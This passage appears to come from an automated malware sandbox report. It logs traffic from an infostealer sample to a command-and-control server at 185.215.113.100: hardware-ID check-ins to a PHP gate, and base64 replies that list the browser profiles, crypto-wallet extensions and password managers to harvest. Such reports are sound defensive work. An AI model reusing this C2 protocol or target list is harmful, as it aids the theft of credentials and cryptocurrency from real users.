Aug 30, 2024 18:18:10.525005102 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.525013924 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.525024891 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.525034904 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.525043964 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:10.525063038 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:10.525085926 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:10.525573015 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.525583982 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:10.525639057 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:10.525655985 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:11.014769077 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:11.017795086 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:11.324696064 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:11.363854885 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:11.363868952 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:11.363979101 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:12.171641111 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:12.171722889 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:12.215389967 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:12.220273018 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:12.462038040 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:12.462050915 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:12.462104082 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:12.547662020 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:12.547725916 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:12.550554037 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:12.555385113 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:12.798290968 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:12.798353910 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:12.808844090 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:12.813894033 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:13.699594975 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:13.699664116 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:13.702753067 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:13.707631111 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:13.950515032 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:13.950581074 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:13.950592995 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:13.950603962 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:13.950614929 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:13.950638056 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:13.950654030 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:13.950926065 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:13.950972080 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:13.951172113 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:13.951210976 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:13.952459097 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:13.958267927 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:14.783991098 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:14.784065008 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:19.789180040 CEST	80	49730	185.215.113.100	192.168.2.4
Aug 30, 2024 18:18:19.789355040 CEST	49730	80	192.168.2.4	185.215.113.100
Aug 30, 2024 18:18:20.946168900 CEST	49730	80	192.168.2.4	185.215.113.100

HTTP Request Dependency Graph

185.215.113.100

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	185.215.113.100	80	4960	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Aug 30, 2024 18:17:56.228569984 CEST	90	OUT	GET / HTTP/1.1 Host: 185.215.113.100 Connection: Keep-Alive Cache-Control: no-cache
Aug 30, 2024 18:17:56.970990896 CEST	203	IN	HTTP/1.1 200 OK Date: Fri, 30 Aug 2024 16:17:56 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Aug 30, 2024 18:17:57.148663998 CEST	413	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BAAFCAFCBKFHJJJKKFHI Host: 185.215.113.100 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 41 41 46 43 41 46 43 42 4b 46 48 4a 4a 4a 4b 4b 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 41 41 36 38 37 42 46 46 43 45 34 31 38 36 36 34 38 36 36 33 36 0d 0a 2d 2d 2d 2d 2d 2d 42 41 41 46 43 41 46 43 42 4b 46 48 4a 4a 4a 4b 4b 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6c 65 76 61 0d 0a 2d 2d 2d 2d 2d 2d 42 41 41 46 43 41 46 43 42 4b 46 48 4a 4a 4a 4b 4b 46 48 49 2d 2d 0d 0a Data Ascii: ------BAAFCAFCBKFHJJJKKFHIContent-Disposition: form-data; name="hwid"9AA687BFFCE41866486636------BAAFCAFCBKFHJJJKKFHIContent-Disposition: form-data; name="build"leva------BAAFCAFCBKFHJJJKKFHI--
Aug 30, 2024 18:17:57.419670105 CEST	407	IN	HTTP/1.1 200 OK Date: Fri, 30 Aug 2024 16:17:57 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 5a 47 59 77 4f 44 46 6b 5a 54 51 78 4f 47 59 77 5a 6d 55 30 4d 6d 51 77 4e 54 67 30 4d 54 45 33 5a 6a 63 77 5a 44 59 33 4d 6d 51 77 4e 7a 59 32 59 32 55 7a 4e 7a 41 79 59 6a 51 30 5a 6a 49 35 59 6a 6b 79 59 6d 5a 6d 5a 6d 51 32 59 6a 45 79 4f 47 55 31 5a 57 56 6a 4e 32 55 30 4e 44 68 6b 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: ZGYwODFkZTQxOGYwZmU0MmQwNTg0MTE3ZjcwZDY3MmQwNzY2Y2UzNzAyYjQ0ZjI5YjkyYmZmZmQ2YjEyOGU1ZWVjN2U0NDhkfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Aug 30, 2024 18:17:57.458451986 CEST	470	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJKFHIIEHIEGDHJJJKFI Host: 185.215.113.100 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 4a 4b 46 48 49 49 45 48 49 45 47 44 48 4a 4a 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 66 30 38 31 64 65 34 31 38 66 30 66 65 34 32 64 30 35 38 34 31 31 37 66 37 30 64 36 37 32 64 30 37 36 36 63 65 33 37 30 32 62 34 34 66 32 39 62 39 32 62 66 66 66 64 36 62 31 32 38 65 35 65 65 63 37 65 34 34 38 64 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 46 48 49 49 45 48 49 45 47 44 48 4a 4a 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 46 48 49 49 45 48 49 45 47 44 48 4a 4a 4a 4b 46 49 2d 2d 0d 0a Data Ascii: ------IJKFHIIEHIEGDHJJJKFIContent-Disposition: form-data; name="token"df081de418f0fe42d0584117f70d672d0766ce3702b44f29b92bfffd6b128e5eec7e448d------IJKFHIIEHIEGDHJJJKFIContent-Disposition: form-data; name="message"browsers------IJKFHIIEHIEGDHJJJKFI--
Aug 30, 2024 18:17:57.703533888 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 30 Aug 2024 16:17:57 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 1520 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 53 42 44 59 57 35 68 63 6e 6c 38 58 45 64 76 62 32 64 73 5a 56 78 44 61 48 4a 76 62 57 55 67 55 33 68 54 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 56 47 39 79 59 32 68 38 58 46 52 76 63 6d 4e 6f 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 4d 48 78 57 61 58 5a 68 62 47 52 70 66 46 78 57 61 58 5a 68 62 47 52 70 58 46 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8R29vZ2xlIENocm9tZSBDYW5hcnl8XEdvb2dsZVxDaHJvbWUgU3hTXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8VG9yY2h8XFRvcmNoXFVzZXIgRGF0YXxjaHJvbWV8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8Q29jQ29jfFxDb2NDb2NcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDZW50IEJyb3dzZXJ8XENlbnRCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8MHw3U3RhcnxcN1N0YXJcN1N0YXJcVXNlciBEYXRhfGNocm9tZXwwfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8MzYwIEJyb3dzZXJ8XDM2MEJyb3dzZXJcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8UVFCcm93c2VyfFxUZW5jZW50XFFRQnJvd3Nl
Aug 30, 2024 18:17:57.703589916 CEST	512	IN	Data Raw: 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 51 33 4a 35 63 48 52 76 56 47 46 69 66 46 78 44 63 6e 6c 77 64 47 39 55 59 57 49 67 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 Data Ascii: clxVc2VyIERhdGF8Y2hyb21lfDB8Q3J5cHRvVGFifFxDcnlwdG9UYWIgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyb3dzZXIuZXhlfE9wZXJhIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE9wZXJhIEdYIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE1vemlsbGEgRml
Aug 30, 2024 18:17:57.705450058 CEST	469	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBKFBAECBAEGDGDHIEHI Host: 185.215.113.100 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 42 4b 46 42 41 45 43 42 41 45 47 44 47 44 48 49 45 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 66 30 38 31 64 65 34 31 38 66 30 66 65 34 32 64 30 35 38 34 31 31 37 66 37 30 64 36 37 32 64 30 37 36 36 63 65 33 37 30 32 62 34 34 66 32 39 62 39 32 62 66 66 66 64 36 62 31 32 38 65 35 65 65 63 37 65 34 34 38 64 0d 0a 2d 2d 2d 2d 2d 2d 43 42 4b 46 42 41 45 43 42 41 45 47 44 47 44 48 49 45 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 43 42 4b 46 42 41 45 43 42 41 45 47 44 47 44 48 49 45 48 49 2d 2d 0d 0a Data Ascii: ------CBKFBAECBAEGDGDHIEHIContent-Disposition: form-data; name="token"df081de418f0fe42d0584117f70d672d0766ce3702b44f29b92bfffd6b128e5eec7e448d------CBKFBAECBAEGDGDHIEHIContent-Disposition: form-data; name="message"plugins------CBKFBAECBAEGDGDHIEHI--
Aug 30, 2024 18:17:57.950789928 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 30 Aug 2024 16:17:57 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Aug 30, 2024 18:17:57.950937986 CEST	224	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdk
Aug 30, 2024 18:17:57.950948000 CEST	1236	IN	Data Raw: 62 32 4e 74 59 32 4a 74 5a 6d 6c 72 5a 47 4e 76 5a 32 39 6d 63 47 68 70 62 57 35 72 62 6d 39 38 4d 58 77 77 66 44 42 38 51 58 56 79 62 79 42 58 59 57 78 73 5a 58 51 6f 54 57 6c 75 59 53 42 51 63 6d 39 30 62 32 4e 76 62 43 6c 38 59 32 35 74 59 57 Data Ascii: b2NtY2JtZmlrZGNvZ29mcGhpbW5rbm98MXwwfDB8QXVybyBXYWxsZXQoTWluYSBQcm90b2NvbCl8Y25tYW1hYWNocHBua2pnbmlsZHBkbWthYWtlam5oYWV8MXwwfDB8UG9seW1lc2ggV2FsbGV0fGpvamhmZW9lZGtwa2dsYmZpbWRmYWJwZGZqYW9vbGFmfDF8MHwwfElDT05leHxmbHBpY2lpbGVtZ2hibWZhbGljYWpvb2x
Aug 30, 2024 18:17:57.950954914 CEST	104	IN	Data Raw: 5a 32 52 74 62 57 74 72 5a 6d 70 68 59 6d 5a 6d 5a 57 64 68 62 6d 6c 6c 59 57 31 6d 61 32 78 72 62 58 77 78 66 44 42 38 4d 48 78 4c 53 45 4e 38 61 47 4e 6d 62 48 42 70 62 6d 4e 77 63 48 42 6b 59 32 78 70 62 6d 56 68 62 47 31 68 62 6d 52 70 61 6d Data Ascii: Z2RtbWtrZmphYmZmZWdhbmllYW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6
Aug 30, 2024 18:17:57.950999022 CEST	1236	IN	Data Raw: 51 6d 39 34 66 47 31 75 5a 6d 6c 6d 5a 57 5a 72 59 57 70 6e 62 32 5a 72 59 32 70 72 5a 57 31 70 5a 47 6c 68 5a 57 4e 76 59 32 35 72 61 6d 56 6f 66 44 46 38 4d 48 77 77 66 46 52 6c 62 58 42 73 5a 58 78 76 62 32 74 71 62 47 4a 72 61 57 6c 71 61 57 Data Ascii: Qm94fG1uZmlmZWZrYWpnb2ZrY2prZW1pZGlhZWNvY25ramVofDF8MHwwfFRlbXBsZXxvb2tqbGJraWlqaW5ocG1uamZmY29mam9uYmZiZ2FvY3wxfDB8MHxHb2J5fGpua2VsZmFuamtlYWRvbmVjYWJlaGFsbWJncGZvZGptfDF8MHwwfFJvbmluIFdhbGxldHxram1vb2hsZ29rY2NvZGljampmZWJmb21sYmxqZ2Zoa3wxfDB
Aug 30, 2024 18:17:57.951102018 CEST	224	IN	Data Raw: 5a 32 35 73 62 57 70 6c 5a 57 64 71 59 57 64 73 62 57 56 77 59 6d 31 77 61 33 42 70 66 44 46 38 4d 48 77 77 66 46 52 79 5a 58 70 76 63 69 42 51 59 58 4e 7a 64 32 39 79 5a 43 42 4e 59 57 35 68 5a 32 56 79 66 47 6c 74 62 47 39 70 5a 6d 74 6e 61 6d Data Ascii: Z25sbWplZWdqYWdsbWVwYm1wa3BpfDF8MHwwfFRyZXpvciBQYXNzd29yZCBNYW5hZ2VyfGltbG9pZmtnamFnZ2hubmNqa2hnZ2RoYWxtY25ma2xrfDF8MHwwfEF1dGhlbnRpY2F0b3J8YmhnaG9hbWFwY2RwYm9ocGhpZ29vb2FkZGlucGtiYWl8MXwwfDB8QXV0aHl8Z2FlZG1qZGZtbWFoaGJqZWZj
Aug 30, 2024 18:17:57.951149940 CEST	1236	IN	Data Raw: 59 6d 64 68 62 32 78 6f 61 47 46 75 62 47 46 76 62 47 4a 38 4d 58 77 77 66 44 42 38 52 55 39 54 49 45 46 31 64 47 68 6c 62 6e 52 70 59 32 46 30 62 33 4a 38 62 32 56 73 61 6d 52 73 5a 48 42 75 62 57 52 69 59 32 68 76 62 6d 6c 6c 62 47 6c 6b 5a 32 Data Ascii: Ymdhb2xoaGFubGFvbGJ8MXwwfDB8RU9TIEF1dGhlbnRpY2F0b3J8b2VsamRsZHBubWRiY2hvbmllbGlkZ29iZGRmZmZsYWx8MXwwfDB8R0F1dGggQXV0aGVudGljYXRvcnxpbGdjbmhlbHBjaG5jZWVpcGlwaWphbGprYmxiY29ibHwxfDB8MHxCaXR3YXJkZW58bm5nY2Vja2JhcGViZmltbmxuaWlpYWhrYW5kY2xibGJ8MXw
Aug 30, 2024 18:17:57.951229095 CEST	104	IN	Data Raw: 66 44 42 38 4d 48 78 4f 61 57 64 6f 64 47 78 35 49 46 64 68 62 47 78 6c 64 48 78 6d 61 57 6c 72 62 32 31 74 5a 47 52 69 5a 57 4e 6a 59 57 39 70 59 32 39 6c 61 6d 39 75 61 57 46 74 62 57 35 68 62 47 74 6d 59 58 77 78 66 44 42 38 4d 48 78 46 59 33 Data Ascii: fDB8MHxOaWdodGx5IFdhbGxldHxmaWlrb21tZGRiZWNjYW9pY29lam9uaWFtbW5hbGtmYXwxfDB8MHxFY3RvIFdhbGxldHxiZ2pvZ3Bv
Aug 30, 2024 18:17:57.951286077 CEST	1236	IN	Data Raw: 61 57 52 6c 61 6d 52 6c 62 57 64 76 62 32 4e 6f 63 47 35 72 62 57 52 71 63 47 39 6a 5a 32 74 6f 59 58 77 78 66 44 42 38 4d 48 78 44 62 32 6c 75 61 48 56 69 66 47 70 6e 59 57 46 70 62 57 46 71 61 58 42 69 63 47 52 76 5a 33 42 6b 5a 32 78 6f 59 58 Data Ascii: aWRlamRlbWdvb2NocG5rbWRqcG9jZ2toYXwxfDB8MHxDb2luaHVifGpnYWFpbWFqaXBicGRvZ3BkZ2xoYXBobGRha2lrZ2VmfDF8MHwwfE11bHRpdmVyc1ggRGVGaSBXYWxsZXR8ZG5nbWxibGNvZGZvYnBkcGVjYWFkZ2ZiY2dnZmpmbm18MXwwfDB8RnJvbnRpZXIgV2FsbGV0fGtwcGZkaWlwcGhmY2NlbWNpZ25oaWZwamt
Aug 30, 2024 18:17:57.951406002 CEST	508	IN	Data Raw: 66 44 42 38 56 47 39 75 61 32 56 6c 63 47 56 79 49 46 64 68 62 47 78 6c 64 48 78 76 62 57 46 68 59 6d 4a 6c 5a 6d 4a 74 61 57 6c 71 5a 57 52 75 5a 33 42 73 5a 6d 70 74 62 6d 39 76 63 48 42 69 59 32 78 72 61 33 77 78 66 44 42 38 4d 48 78 50 63 47 Data Ascii: fDB8VG9ua2VlcGVyIFdhbGxldHxvbWFhYmJlZmJtaWlqZWRuZ3BsZmptbm9vcHBiY2xra3wxfDB8MHxPcGVuTWFzayBXYWxsZXR8cGVuamxkZGpramdwbmtsbGJvY2NkZ2NjZWtwa2NiaW58MXwwfDB8U2FmZVBhbCBXYWxsZXR8YXBlbmtmYmJwbWhpaGVobWlobmRtbWNkYW5hY29sbmh8MXwwfDB8Qml0Z2V0IFdhbGxldHx
Aug 30, 2024 18:17:57.953125954 CEST	470	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KJECFHCBKKEBAKFIJDHI Host: 185.215.113.100 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4a 45 43 46 48 43 42 4b 4b 45 42 41 4b 46 49 4a 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 66 30 38 31 64 65 34 31 38 66 30 66 65 34 32 64 30 35 38 34 31 31 37 66 37 30 64 36 37 32 64 30 37 36 36 63 65 33 37 30 32 62 34 34 66 32 39 62 39 32 62 66 66 66 64 36 62 31 32 38 65 35 65 65 63 37 65 34 34 38 64 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 45 43 46 48 43 42 4b 4b 45 42 41 4b 46 49 4a 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 45 43 46 48 43 42 4b 4b 45 42 41 4b 46 49 4a 44 48 49 2d 2d 0d 0a Data 